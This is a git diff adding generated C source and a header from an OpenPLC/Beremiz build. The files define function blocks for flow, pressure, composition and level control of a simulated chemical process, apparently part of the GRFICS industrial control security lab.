__SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE92_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE92_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED1,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED2,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED3,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED4,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED5,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED6,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED7,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED8,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED9,retain); + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_EXTERNAL(BOOL,RUN_BIT,data__->RUN_BIT,retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->ADD87_OUT,0,retain) + __INIT_VAR(data__->GE91_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->SCALE_TO_SIGNED0.,INPUT_UINT,,__GET_VAR(data__->PRESSURE,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED0); + __SET_VAR(data__->,HMI_PRESSURE,,__GET_VAR(data__->SCALE_TO_SIGNED0.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED1.,INPUT_UINT,,__GET_VAR(data__->LEVEL,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED1); + __SET_VAR(data__->,HMI_LEVEL,,__GET_VAR(data__->SCALE_TO_SIGNED1.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED2.,INPUT_UINT,,__GET_VAR(data__->F1_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED2); + __SET_VAR(data__->,HMI_F1_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED2.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED3.,INPUT_UINT,,__GET_VAR(data__->F2_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED3); + __SET_VAR(data__->,HMI_F2_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED3.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED4.,INPUT_UINT,,__GET_VAR(data__->PURGE_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED4); + __SET_VAR(data__->,HMI_PURGE_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED4.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED5.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED5); + __SET_VAR(data__->,HMI_PRODUCT_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED5.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED6.,INPUT_UINT,,__GET_VAR(data__->F1_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED6); + __SET_VAR(data__->,HMI_F1_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED6.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED7.,INPUT_UINT,,__GET_VAR(data__->F2_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED7); + __SET_VAR(data__->,HMI_F2_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED7.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED8.,INPUT_UINT,,__GET_VAR(data__->PURGE_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED8); + __SET_VAR(data__->,HMI_PURGE_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED8.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED9.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED9); + __SET_VAR(data__->,HMI_PRODUCT_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED9.OUTPUT_INT,)); + __SET_VAR(data__->,ADD87_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)1)); + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->ADD87_OUT,)); + __SET_VAR(data__->,GE91_OUT,,GE__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)32000)); + __SET_VAR(data__->,MOVE92_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->GE91_OUT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE92_ENO,)) { + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->MOVE92_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h new file mode 100644 index 0000000..9c89adb --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h @@ -0,0 +1,456 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK SCALE_TO_SIGNED +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,INPUT_UINT) + __DECLARE_VAR(INT,OUTPUT_INT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,DIV3_OUT) + __DECLARE_VAR(UINT,ABS8_OUT) + __DECLARE_VAR(INT,UINT_TO_INT9_OUT) + +} SCALE_TO_SIGNED; + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain); +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL 